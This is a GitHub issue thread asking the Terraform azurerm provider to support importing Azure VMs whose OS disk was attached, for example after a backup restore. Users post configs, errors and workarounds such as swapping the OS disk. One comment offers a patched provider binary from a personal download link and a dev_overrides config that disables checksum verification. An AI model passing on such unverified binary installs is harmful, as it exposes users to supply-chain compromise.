Support for Importing OSDisk of azurerm_windows_virtual_machine/azurerm_linux_virtual_machine

AndreasMWalter commented 3 years ago

Community Note

Please vote on this issue by adding a 👍 reaction to the original issue to help the community and maintainers prioritize this request
Please do not leave "+1" or "me too" comments, they generate extra noise for issue followers and do not help prioritize the request
If you are interested in working on this issue or have submitted a pull request, please leave a comment

Description

Not being able to import the OSDisk has deadlocked me, since a machine that I am using uses a disk encryption set, I cannot fall back to azurerm_virtual_machine, since it does not support disk encryption sets.

New or Affected Resource(s)

azurerm_windows_virtual_machine
azurerm_linux_virtual_machine

Potential Terraform Configuration

resource "azurerm_windows_virtual_machine" "dc1" {
  name                = "machinename"
  resource_group_name = azurerm_resource_group.rgdc.name
  location            = var.location
  size                = "Standard_D2s_v3"
  admin_username      = "azureuser"
  admin_password      = random_password.admin_password.result
  network_interface_ids = [
    azurerm_network_interface.vm1nic0.id,
  ]

  provision_vm_agent  = true
  availability_set_id = azurerm_availability_set.asdc0.id

  os_disk {
    name                      = "diskname"
    caching                   = "None"
    storage_account_type      = "Premium_LRS"
    write_accelerator_enabled = "false"
    disk_encryption_set_id    = azurerm_disk_encryption_set.des0.id
  }

  source_image_reference {
    publisher = "MicrosoftWindowsServer"
    offer     = "WindowsServer"
    sku       = "2019-Datacenter"
    version   = "latest"
  }
}

terraform1228.exe import azurerm_windows_virtual_machine.dc1 /subscriptions/{GUID}/resourceGroups/rgname/providers/Microsoft.Compute/virtualMachines/machinename

References

0000

grtyso commented 3 years ago

We create our Azure VM's with azurerm_windows_virtual_machine and a generalized image from shared image gallery, which works great. We do use Azure recovery services vault for backup of these VMs. This is a disk level backup. If we need to restore the OS disk, this recovery creates a new disk that we then attach to the VM, putting the config out of sync.

If we try to import the resulting VM config, we get the same error:

Error: The "azurerm_windows_virtual_machine" resource doesn't support attaching OS Disks - please use the azurerm_virtual_machine resource instead

There doesn't seem to be a way to use azurerm_windows_virtual_machine with Azure Recovery Services Vault and OS disk restores, which seems to be a major problem.

grtyso commented 3 years ago

Here is what such a recovered VM has properties set from a 'az vm show' command { "additionalCapabilities": null, "availabilitySet": null, "billingProfile": null, "diagnosticsProfile": null, "evictionPolicy": null, "extensionsTimeBudget": null, "hardwareProfile": { "vmSize": "Standard_DS2_v2" }, "host": null, "hostGroup": null, "id": "/subscriptions/<SUB>/resourceGroups/<RG>/providers/Microsoft.Compute/virtualMachines/<VMNAME>", "identity": null, "instanceView": null, "licenseType": null, "location": "canadacentral", "name": "<VMNAME>", "networkProfile": { "networkInterfaces": [ { "id": "/subscriptions/<SUB>/resourceGroups/<RG>/providers/Microsoft.Network/networkInterfaces/<VMNAME>-nic-77dc00b2d9024fd8b6a1aaf8b8cbf7bd", "primary": null, "resourceGroup": "<RG>" } ] }, "osProfile": null, "plan": null, "priority": null, "provisioningState": "Succeeded", "proximityPlacementGroup": null, "resourceGroup": "<RG>", "resources": null, "securityProfile": null, "storageProfile": { "dataDisks": [ { "caching": "ReadWrite", "createOption": "Attach", "diskIopsReadWrite": null, "diskMbpsReadWrite": null, "diskSizeGb": 2000, "image": null, "lun": 2, "managedDisk": { "diskEncryptionSet": null, "id": "/subscriptions/<SUB>/resourceGroups/<RG>/providers/Microsoft.Compute/disks/<VMNAME>-datadisk-002-20201124-163005", "resourceGroup": "<RG>", "storageAccountType": "StandardSSD_LRS" }, "name": "<VMNAME>-datadisk-002-20201124-163005", "toBeDetached": false, "vhd": null, "writeAcceleratorEnabled": false } ], "imageReference": null, "osDisk": { "caching": "ReadWrite", "createOption": "Attach", "diffDiskSettings": null, "diskSizeGb": 180, "encryptionSettings": null, "image": null, "managedDisk": { "diskEncryptionSet": null, "id": "/subscriptions/<SUB>/resourceGroups/<RG>/providers/Microsoft.Compute/disks/<VMNAME>-osdisk-20201124-163005", "resourceGroup": "<RG>", "storageAccountType": "Premium_LRS" }, "name": "<VMNAME>-osdisk-20201124-163005", "osType": "Windows", "vhd": null, "writeAcceleratorEnabled": false } }, "tags": {}, "type": "Microsoft.Compute/virtualMachines", "virtualMachineScaleSet": null, "vmId": "<VMID>", "zones": null }

etaham commented 3 years ago

This would be very helpful when recreating a VM to move in/out of an availability set or similar. The VM would be recreated, but the OS and data would remain.

manny-rodriguez commented 2 years ago

Hi, are there any updates? I'm seeing the exact same problem.

fallmake commented 2 years ago

Unfortunately this is still a major issue - there are cases in which VMs need to be "renamed" by re-creating the vm object but attaching the pre-existing osdisk, moved from/to availability sets, or are taken up into management with terraform from an existing environment with settings exclusive to azurerm_windows_virtual_machine. Which upstream issue blocks this?

snackycracky commented 2 years ago

@jackofallops you added this to the blocked milestone a year ago. Can you give a quick update what exactly is blocking this ?

etaham commented 2 years ago

Does the 3.0 provider unblock this item? With all of the changes with VMSS Flex and AVSets, this would be very helpful.

giovannifl commented 1 year ago

Any update on this issue ?

timbuchinger commented 1 year ago

Up until recently, we had used the azurerm_virtual_machine resource type for any VMs where we needed to import the OS disk. However, we just ran in to #19510 which means we can no longer manage these machines with Terraform until this issue is resolved.

gesnaud commented 1 year ago

Hello community! I came until here because I was facing same issue as you:

Migrate from azurerm_virtual_machine to azurerm_linux_virtual_machine
Did not know that VMs were restored
Made a state rm azurerm_viretual_machine
Made an import azurerm_linux_virtual_machine/subscriptions/***/blabla
Stumbled upon this problem Error: The "azurerm_linux_virtual_machine" resource doesn't support attaching OS Disks - please use theazurerm_virtual_machineresource instead

Ok, then you should ask:

"why on earth should you want to migrate resource from azurerm_virtual_machine to azurerm_linux_virtual_machine?"
"Because with deprecated resource azurerm_virtual_machine I have another opened issue when I want to update my resources (I have to massively add tags):"

Error: compute.VirtualMachinesClient#CreateOrUpdate: Failure sending request: StatusCode=0 -- Original Error: autorest/azure: Service returned an error. Status=<nil> Code="PropertyChangeNotAllowed" Message="Changing property 'osProfile' is not allowed." Target="osProfile"

==> This is due to this bug

So now, I'm stuck in a vicious circle:

I cannot migrate restored machine to new TF resource (osDisk attached)
I cannot update these machines because of deprecated TF resource (osProfile not allowed)

Is there any plan to fix new azurerm_[linux|windows]_virtual_machine following your PR @jackofallops ? Or maybe I can help somehow with the technical limitations we experiencing?

Thanks!

etaham commented 1 year ago

Hey @jackofallops and @tombuildsstuff,

Sorry to push on this - please share what is blocking this item. Hoping there's a way to help.

Thank you!

unkinected commented 1 year ago

Just to bump this thread, I'm having the same problem too. A VM that was restored in Azure cannot be managed properly in Terraform.

MatsIBengtsson commented 1 year ago

The "attach is not supported" gives situations where Terraform does not recover well. If the VM is getting into failed state, Terraform tries to recreate the VM. But there is a disk, and the disk cannot be attached, so Terraform tells about attachment not being possible. And it does not delete the disk itself, since the disk is not known by Terraform to exist.

Netkracker commented 1 year ago

We at @swisspost miss the feature to attach os and data disks to "azurerm_windows_virtual_machine" & "azurerm_linux_virtual_machine". As mentioned by @gesnaud this is an very undesired situation, "azurerm_virtual_machine" supports this essential feature (especially when you want to use azure backup together with customer managed keys, the only option there for restore is create a new virtual machine see: https://learn.microsoft.com/en-us/azure/backup/restore-azure-encrypted-virtual-machines#before-you-start ). But is deprecated / superseded by the other resources "azurerm_windows_virtual_machine" & "azurerm_linux_virtual_machine" so we cannot use new features supported by the new resource blocks.

So basically backup is useless because you never have the option to reimport into state.

are there any news on this ?

MaxMelcher commented 11 months ago

The import of existing VMs fails as soon as the osProfile property is not available - either by Azure Migrate or restore from backup.

Its unclear to me why the provider does not support it - I commented out the check for this property: https://github.com/hashicorp/terraform-provider-azurerm/compare/main...MaxMelcher:terraform-provider-azurerm:3.75.0 I also ran all unit tests for compute and saw no difference.

Is there any insights what will break? The issue is old. Maybe the underlying issue is gone by now and this is a remainder?

Thanks, Max

MaxMelcher commented 11 months ago

We did not test CMK with the changes above. The project that I am working with is not using that. Also not sure if/where the osProfile is used in that case.

The import of VMs to the state that were migrated with Azure Migrate or restored from Azure Backup could be imported. Also the lifecycle operations did work.

Netkracker commented 11 months ago

IMO the issue has nothing to do with cmk usage. The issue does not originate from cmk, using cmk just makes this issue apparent, because you only can do a new machine restore and therefore would have to re-import into tf state otherwise the vm would never be tracked by terraform.

thx for sharing your tests, il ask HC once more directly referring to this thread. Hopefully they can confirm and a patch will fix this situation.

MaxMelcher commented 11 months ago

I agree - might be a left-over.

More testing would also help - please have a look:

download: https://profile.mevitco.de/download/ecc03904-5700-4084-ac4e-17c6f4fc737f password: d2d936dd-9c07-4f46-981a-edc346e1f9bd link expires: 17th oct 2023

Remove the .txt extension after download and store it in a folder, e.g. /home/developer/go/bin

Then create a file ~/.terraformrc and set the path to the folder containing the patched provider.

provider_installation {
  # Use /home/developer/go/bin as an overridden package directory  # for the hashicorp/azurerm provider. This disables the version and checksum  # verifications for this provider and forces Terraform to look for the  # azurerm provider plugin in the given directory.  dev_overrides {
    "hashicorp/azurerm" = "/home/developer/go/bin"  }
  # For all other providers, install them directly from their origin provider  # registries as normal. If you omit this, Terraform will _only_ use  # the dev_overrides block, and so no other providers will be available.
  direct {}
}

jf781 commented 8 months ago

@tombuildsstuff @jackofallops - Would you be able to provide some details on what the issue is to see if the community can help?

mjonila commented 4 months ago

Is there any changes planned to support importing OsDisk to azurerm_windows_virtual_machine ? Up until now I was using azurerm_virtual_machine, but this is now missing several useful options like patch_mode which I need to set for Azure Update Manager..

Is there any other option to migrate from azurerm_virtual_machine (with attached os disk) into modern azurerm_[windows|linux]_virtual_machine ?

oed-sassmannc commented 1 month ago

Hey guys,

don't know if someone else is still having problems with this, but we found a workaround which fulfils our requirements regarding this issue. Key for us is to use the Swap OS-Disk feature. So if we need to replace the virtual machine resource, we either destroy the vm resource while keeping the os disk or we restore the os disk using a restore point of recovery services vault. Important is to NOT create a new virtual machine resource via the backup, just create new restore configuration with restore type "restore disks". So you now have the os disk left in your resource group and create a new virtual machine as usual using for example azurerm_windows_virtual_machine. After creating the new virtual machine you can now select Settings -> Disks -> Swap OS disk and select the os disk which has been left or restored. There should also be CLI commands for this. If you now run a terraform plan you will see, that the virtual machine would be replaced, because the os disk name has changed. But if you update the name in your code, you will get no changes as result. So you now have a new virtual machine resource in your state using an old or restored os disk. Maybe this helps some of you.

seantshen-simtra commented 1 month ago

I have the same issue. I already restored the VM from the backup. And the VM is currently in operation. In order to do the swap, I will need incur down time. Plus, my VM not only has OS disk, it has several data disks too. Then in that case, I will need to detach the data disks, keep them aside. Shut the VM down, detach the OS disk, keep that aside too. Then I will need to use my original terraform code to create a new VM. Swap the data disks. And then swap the OS disk on the new VM. With that I was able to bring the VM to the type of configuration that I am able to import into terraform using azurerm_windows_virtual_machine.

I hope Hashcorp is listening on this. They need to come up with a better solution for this.

hashicorp / terraform-provider-azurerm